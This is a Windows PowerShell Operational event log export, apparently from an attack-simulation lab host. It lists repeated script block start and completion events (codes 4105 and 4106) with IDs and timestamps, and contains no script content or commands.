RecordNumber=2040364
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040363
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040362
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040361
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040360
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040359
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040358
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040357
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040356
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040355
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040354
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040353
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040352
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040351
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040350
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040349
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040348
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040347
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040346
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040345
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040344
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040343
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040342
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040341
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040340
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040339
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040338
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040337
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040336
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040335
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040334
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040333
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040332
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040331
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040330
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040329
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040328
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040327
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040326
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040325
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040324
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040323
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040322
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040321
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040320
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040319
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040318
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040317
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040316
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040315
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040314
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040313
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040312
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040311
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
